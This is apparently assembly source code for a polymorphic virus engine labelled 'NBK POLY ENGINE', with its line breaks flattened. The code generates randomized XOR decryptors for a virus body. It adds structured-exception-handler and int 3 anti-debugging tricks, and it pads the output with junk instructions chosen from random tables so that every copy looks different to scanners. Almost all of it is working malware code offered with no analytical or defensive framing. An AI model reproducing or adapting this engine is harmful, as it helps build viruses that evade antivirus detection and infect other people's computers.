;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; NBK POLY ENGINE * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ engine: ; entry: ; esi = offset 2 viral code ; edi = offset 2 put code (virus size + 700 bytes, at least) ; ebx = RVA + Image Base of edi ; ecx = size of viral code in 'dwords' pushad ; mov dword ptr [ebp+ofsvir],esi; mov dword ptr [ebp+len],ecx ; mov [ebp+_RVA],ebx ; Save RVA mov [ebp+all_ini],edi ; Save initial pointer ; (runtime offsets) ; xor dl,dl ; erase some flags xor bl,bl ; ; call SEH ; SEH :-) ; call CRYPT ; POLY decryptor popad ret SEH proc pushad ; 1) push offset 6 ; 2) xor ebx,ebx ; edx,edx ; eax,eax ; 3) push dword ptr fs:[0] ;6467FF360000 ; fs:[eax] ;64FF30 - 48D ; fs:[ebx] ;64FF33 - 51D ; fs:[edx] ;64FF32 - 50D ; 4) mov dword ptr fs:[0],esp ;646789260000 ; fs:[eax] ;648920 - 32D ; fs:[ebx] ;648923 - 35D ; fs:[edx] ;648922 - 34D ; 5) int 03h ; 6) untrace ; 7) mov esp,dword ptr [esp+8] ; 8) xor ebx,ebx ; edx,edx ; eax,eax ; 9) pop dword ptr fs:[0] ; fs:[ebx] ; fs:[edx] ; fs:[eax] ; 10) add esp,4 ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; CHOOSE REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; @@1: ; in al,40H ; cmp al,0C0H ; eax = 192 = 48 je put_reg ; cmp al,0DBH ; ebx = 219 = 51 je put_reg ; cmp al,0D2H ; edx = 210 = 50 je put_reg ; cmp al,00H ; no reg ? je put_reg ; jmp @@1 ; put_reg: ; mov byte ptr [ebp+xor_reg],al ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ call chg_garble mov [ebp+ofs ini_SEH],edi @@30: ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; PUSH mem PUSH reg * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; in al,40H ; and al,0001b ; jz @@21 ; ; mov al,68H ; generate PUSH stosb ; ; mov [ebp+ofs off1],edi ; Save this offset xor eax,eax ; stosd ; ; jmp short @@22 ; ; @@21: ; ; call mov_reg ; sub al,08H ; stosb ; push eax ; mov [ebp+ofs off1],edi ; xor eax,eax ; stosd ; pop eax ; add al,08H ; mov dl,99H ; mov bl,99H ; call push_pop ; xor dl,dl ; xor bl,bl ; ; @@22: ; ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ call chg_garble @@31: ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; XOR ? SUB -> REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov bl,byte ptr [ebp+xor_reg] ; or bl,bl ; jz @@2 ; ; in al,40H ; and al,0001H ; jz @@19 ; ; mov al,33H ; XOR stosb ; ; jmp short @@20 ; ; @@19: ; ; mov al,2BH ; SUB stosb ; ; @@20: ; ; mov al,bl ; stosb ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ @@2: ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; PUSH DWORD PTR FS:[]* ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ mov al,64H stosb mov bl,byte ptr [ebp+xor_reg] or bl,bl jz @@3 mov al,0FFH stosb mov al,bl cmp al,0C0H ; eax je @@4 cmp al,0DBH ; ebx je @@5 cmp al,0D2H ; edx je @@6 jmp short $ @@3: ; 67FF360000 fs:[0] mov eax,0036FF67H stosd xor al,al @@7: mov cl,al ; Save this reg in cl stosb jmp @@8 @@4: mov al,30H jmp @@7 @@5: mov al,33H jmp @@7 @@6: mov al,32H jmp @@7 @@8: ;call chg_garble ; error ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; MOV DWORD PTR FS:[?],esp* ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ mov al,64H stosb mov bl,byte ptr [ebp+xor_reg] or bl,bl jz @@9 ; no regs mov al,89H stosb mov al,cl ; Get used reg sub al,10H ; ... jmp @@10 @@9: mov eax,00268967H ; 6789260000 stosd xor al,al @@10: stosb call chg_garble ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; EXCEPTION * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov al,0CCH ; int 03H stosb ; ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ call chg_garble ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; UNTRACE * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov al,0E9H ; stosb ; ; call rnd ; stosd ; ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ call chg_garble ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; MOV ESP,DWORD PTR [ESP+08]* ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov [ebp+ofs off6],edi ; call chg_garble mov al,08BH ; stosb ; in al,40H ; and al,0001b ; jz @@23 ; mov ax,2464H ; 642408 stosw ; mov al,08H ; stosb ; jmp short @@29 ; @@23: ; call mov_reg ; push eax cmp al,0C0H je @@24 cmp al,0C1H je @@25 cmp al,0C2H je @@26 cmp al,0C3H je @@27 jmp short $ @@24: mov al,44H jmp @@28 @@25: mov al,4CH jmp @@28 @@26: mov al,54H jmp @@28 @@27: mov al,5CH @@28: stosb mov ax,0824H stosw mov al,8BH stosb pop eax add al,20H stosb @@29: ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ call chg_garble ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; XOR ? SUB -> REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov bl,byte ptr [ebp+xor_reg] ; or bl,bl ; jz @@11 ; ; in al,40H ; and al,0001H ; jz @@16 ; ; mov al,33H ; XOR stosb ; ; jmp short @@18 ; ; @@16: ; ; mov al,2BH ; SUB stosb ; ; @@18: ; ; mov al,bl ; stosb ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; POP DWORD PTR FS:[?]* ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; @@11: ; ; mov al,64H ; stosb ; ; or bl,bl ; jz @@12 ; ; mov al,8FH ; stosb ; ; mov al,cl ; sub al,30H ; jmp @@13 ; ; @@12: ; ; mov eax,00068F67H ; 678F060000 stosd ; ; xor al,al ; @@13: ; stosb ; ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ call chg_garble ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; ADD ESP,4 * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; in al,40H ; and al,0001H ; jz @@14 ; ; mov ax,0C483H ; stosw ; ; mov al,04H ; stosb ; ; jmp short @@15 ; ; @@14: ; ; mov ax,0EC83H ; stosw ; ; mov al,0FCH ; stosb ; ; @@15: ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ call chg_garble ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; ;mov [ebp+ofs wahoo],edi ; ; mov eax,[ebp+ini_SEH] ; sub eax,[ebp+all_ini] ; mov edx,eax ; ; mov eax,[ebp+off6] ; sub eax,[ebp+off1] ; ; mov ebx,[ebp+_RVA] ; add ebx,edx ; add ebx,eax ; add ebx,3 ; ; mov eax,[ebp+ofs off1] ; mov [eax],ebx ; ; mov dr0,edi ; popad ; mov edi,dr0 ; ret ; ; ini_SEH dd 0 ; ;wahoo dd 0 ; ;siz dd 0 ; off1 dd 0 ; off6 dd 0 ; all_ini dd 0 ; xor_reg db 0 ; _RVA dd 0 ; len dd 0 ; ofsvir dd 0 ; ; SEH endp ; ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; GARBAGE GENERATOR * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; garbage proc ; ; push eax ; push esi ; xor eax,eax ; in al,40H ; and al,0001b ; jz @@1 ; in al,40H ; not al ; jmp short @@2 ; @@1: ; in al,40H ; @@2: ; and al,00111100b ; lea esi,[ebp+ofs GARBAGE_TABLE0] add esi,eax ; mov esi,dword ptr [esi] ; add esi,ebp ; call esi ; pop esi ; pop eax ; ret ; ; garbage endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; GARBAGE GENERATOR * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; garbage1 proc ; push eax ; push esi ; xor eax,eax ; in al,40H ; and al,1100b ; lea esi,[ebp+ofs GARBAGE_TABLE1] add esi,eax ; mov esi,dword ptr [esi] ; add esi,ebp ; call esi ; pop esi ; pop eax ; garbage1 endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; GARBAGE TABLE 0 * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; GARBAGE_TABLE0: ; ; dd ofs mov_eax ; dd ofs mov_ah ; dd ofs add_al ; dd ofs sub_ebx ; dd ofs shl_reg_cl ; dd ofs xchg_edx ; dd ofs or_reg_reg ; dd ofs push_pop ; dd ofs test_eax ; dd ofs xor_reg_num ; dd ofs jump ; dd ofs neg_reg ; dd ofs adc_reg ; dd ofs adc_reg_num ; dd ofs and_reg_num ; dd ofs bt_reg_reg ; ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; GARBAGE TABLE 1 * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; GARBAGE_TABLE1: ; preserv regs ; dd ofs jump ; dd ofs mov_dr0 ; dd ofs cmp_eax ; dd ofs test_eax ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; CHG_GARBLE * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; chg_garble proc ; push eax ; call garbage ; in al,40H ; and al,0001b ; jnz @@38 ; call garbage ; in al,40H ; and al,0001b ; jz @@38 ; call garbage ; call garbage ; in al,40H ; and al,0001b ; jz @@37 ; @@38: ; call garbage ; @@37: ; pop eax ; ret ; chg_garble endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; CHG_GARBLE * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; chg_garble1 proc ; push eax ; call garbage1 ; in al,40H ; and al,0001b ; jnz @@38 ; call garbage1 ; in al,40H ; and al,0001b ; jz @@38 ; call garbage1 ; call garbage1 ; in al,40H ; and al,0001b ; jz @@37 ; @@38: ; call garbage1 ; @@37: ; pop eax ; ret ; chg_garble1 endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; MOV EAX, ? * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov_eax proc ; push eax ; in al,40H ; and al,0001b ; jz @@1 ; mov al,8BH ; cmp byte ptr [edi-2],al ; je @@1 ; stosb ; call mov_reg ; stosb ; jmp @@2 ; @@1: ; mov al,0B8H ; cmp byte ptr [edi-5],al ; je @@2 ; stosb ; call rnd ; stosd ; @@2: ; pop eax ; ret ; mov_eax endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; AL = C0, C1, C2, C3 * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov_reg proc ; @@1: ; in al,40H ; cmp al,0C0H ; je @@2 ; cmp al,0C1H ; je @@2 ; cmp al,0C2H ; je @@2 ; cmp al,0C3H ; je @@2 ; jmp @@1 ; @@2: ; ret ; mov_reg endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; MOV AH,?? * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov_ah proc ; push eax ; mov al,0B4H ; cmp byte ptr [edi-2],al ; je @@1 ; stosb ; in al,40H ; stosb ; @@1: ; pop eax ; ret ; mov_ah endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; ADD AL,REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; add_al proc ; push eax ; mov al,2 ; stosb ; call mov_reg ; stosb ; @@1: ; pop eax ; ret ; add_al endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; SUB EBX,REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; sub_ebx proc ; push eax ; mov al,2BH ; stosb ; call mov_reg ; add al,18H ; stosb ; @@1: ; pop eax ; ret ; sub_ebx endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; XCHG EDX,REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; xchg_edx proc ; push eax ; mov al,87H ; stosb ; @@2: ; call mov_reg ; cmp al,0C0H ; je @@2 ; add al,10H ; stosb ; @@1: ; pop eax ; ret ; xchg_edx endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; MOV DR0,REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; mov_dr0 proc ; push eax ; mov ax,230FH ; stosw ; call mov_reg ; stosb ; @@1: ; pop eax ; ret ; mov_dr0 endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; TEST EAX,REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; test_eax proc ; push eax ; mov al,85H ; stosb ; call mov_reg ; stosb ; pop eax ; ret ; test_eax endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; CMP EAX,REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; cmp_eax proc ; push eax ; mov al,3BH ; stosb ; call mov_reg ; stosb ; pop eax ; ret ; cmp_eax endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; NEG REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; neg_reg proc ; push eax ; mov al,0F7H ; cmp byte ptr [edi-2],al ; je @@1 ; stosb ; call mov_reg ; add al,18H ; stosb ; @@1: ; pop eax ; ret ; neg_reg endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; ADC REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; adc_reg proc ; push eax ; mov al,13H ; stosb ; call mov_reg ; stosb ; pop eax ; ret ; adc_reg endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; ADC REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; adc_reg_num proc ; push eax ; mov al,81H ; stosb ; @@2: ; call mov_reg ; cmp al,0C0H ; je @@2 ; add al,10H ; stosb ; call rnd ; stosd ; pop eax ; ret ; adc_reg_num endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; AND REG,???? * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; and_reg_num proc ; push eax ; mov al,81H ; cmp byte ptr [edi-6],al ; je @@1 ; stosb ; @@2: ; call mov_reg ; cmp al,0C0H ; je @@2 ; add al,20H ; stosb ; call rnd ; stosd ; @@1: ; pop eax ; ret ; and_reg_num endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; BT REG,REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; bt_reg_reg proc ; push eax ; cmp byte ptr [edi-3],0FH ; je @@1 ; mov ax,0A30FH ; stosw ; call mov_reg ; stosb ; @@1: ; pop eax ; ret ; bt_reg_reg endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; OR REG,REG * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; or_reg_reg proc ; push eax ; mov al,0AH ; stosb ; call mov_reg ; stosb ; pop eax ; ret ; or_reg_reg endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; XOR REG16,?? * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; xor_reg_num proc ; push eax ; mov ax,8166H ; stosw ; @@2: ; call mov_reg ; cmp al,0C0H ; je @@2 ; add al,30H ; stosb ; call rnd ; stosw ; pop eax ; ret ; xor_reg_num endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; SHL E?X,CL * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ shl_reg_cl proc ; push eax ; mov al,0D3H ; cmp byte ptr [edi-2],al ; je @@1 ; stosb ; call mov_reg ; add al,20H ; stosb ; @@1: ; pop eax ; ret ; shl_reg_cl endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; PUSH_POP E?X * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; push_pop proc ; push eax ; cmp dl,99H ; je @@1 ; call mov_reg ; @@1: ; sub al,70H ; stosb ; ; call chg_garble ; ; cmp bl,99H ; Only PUSH ? je @@2 ; add al,08H ; stosb ; @@2: ; pop eax ; ret ; push_pop endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; JUMP GENERATOR * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; jump proc ; pushad ; xor edx,edx ; call rnd ; and eax,01111110b ; 126 mov ecx,eax ; mov bl,al ; mov al,0EBH ; stosb ; mov al,bl ; stosb ; @@1: ; call rnd ; stosb ; loop @@1 ; mov dr0,edi ; popad ; mov edi,dr0 ; ret ; jump endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; CHANGE EDI * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; IF DL = 1 ch_edi proc ; A RANDOMIC DWORD push eax ; WILL BE USED in al,40H ; and al,0001b ; IF NOT, THE NEXT jz @@1 ; ROUTINE HAVE TO STORE mov ax,0FF33H ; A DWORD stosw ; mov ax,0C781H ; stosw ; jmp short @@2 ; @@1: ; mov al,0BFH ; stosb ; @@2: ; cmp dl,99H ; je @@3 ; @@4: ; pop eax ; ret ; @@3: ; call rnd ; stosd ; jmp @@4 ; ch_edi endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; CRYPT CODE * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ CRYPT proc ; 1) mov edi, 'CODE_OFFSET_RUNTIME' ; 2) mov ecx, 'VIRUS_LENGHT' ; 3) mov /eax/ebx/edx/, DWORD PTR [edi] ; 4) xor /eax/ebx/edx/, KEY ; 5) add/sub /eax/ebx/edx/, BYTE mov [ebp+_off1],edi ; PROC init call edi_ofs mov ecx,dword ptr [ebp+len] call len_ecx call edi2eax push edi call xor_eax call eax2edi call add_edi pop ebx sub ebx,2 ; Back to instruction call do_loop mov eax,edi sub eax,[ebp+all_ini] ; EAX = decryptor size add eax,[ebp+_RVA] add eax,2 mov esi,[ebp+_off2] mov [esi],eax push edi ; Save end of mov ecx,dword ptr [ebp+len] mov esi,dword ptr [ebp+ofsvir]; rep movsd ; copy it pop edi push edi sub edi,[ebp+_off1] mov eax,edi mov ebx,[ebp+_off3] mov esi,ebx lea edi,[ebp+ofs buff] mov ecx,eax mov edx,30 sub edx,ecx rep movsb mov al,90H mov ecx,edx sub ecx,2 rep stosb pop edi buff db 30 dup (90H) db 6 dup (0C3H) ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; EDI_OFFSET * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; edi_ofs proc ; push eax ; mov al,0BFH ; stosb ; mov [ebp+_off2],edi ; mov edi,offset virus xor eax,eax ; stosd ; pop eax ; ret ; edi_ofs endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; MOV ECX,LENGHT * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; len_ecx proc ; push eax ; mov [ebp+_off3],edi ; mov al,0B9H ; stosb ; mov eax,ecx ; stosd ; pop eax ; ret ; len_ecx endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; [EDI] - > EAX * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; edi2eax proc ; push eax ; mov ax,078BH ; mov eax,dword ptr [edi] stosw ; pop eax ; ret ; edi2eax endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; XOR EAX, ???? * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; xor_eax proc ; push eax ; mov al,35H ; XOR EAX, ???? stosb ; call rnd ; stosd ; rnd dword pop eax ; ret ; xor_eax endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; EAX -> [EDI] * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; eax2edi proc ; push eax ; mov ax,0789H ; mov dword ptr [edi],eax stosw ; pop eax ; ret ; eax2edi endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; ADD EDI,4 * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; add_edi proc ; push eax ; mov ax,0C783H ; stosw ; mov al,4 ; stosb ; pop eax ; ret ; add_edi endp ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; LOOP DECRYPT_INI * ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ ; do_loop: ; push eax ; push ebx ; mov al,0E2H ; stosb ; sub ebx,edi ; dec ebx ; mov al,bl ; stosb ; mov [ebp+_off4],edi ; MARK the end. pop ebx ; pop eax ; ret ; ;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ _off1 dd 0 _off2 dd 0 _off3 dd 0 _off4 dd 0 _off5 dd 0 ; offset 4 'RET' , put a Nop siz dd 0 CRYPT endp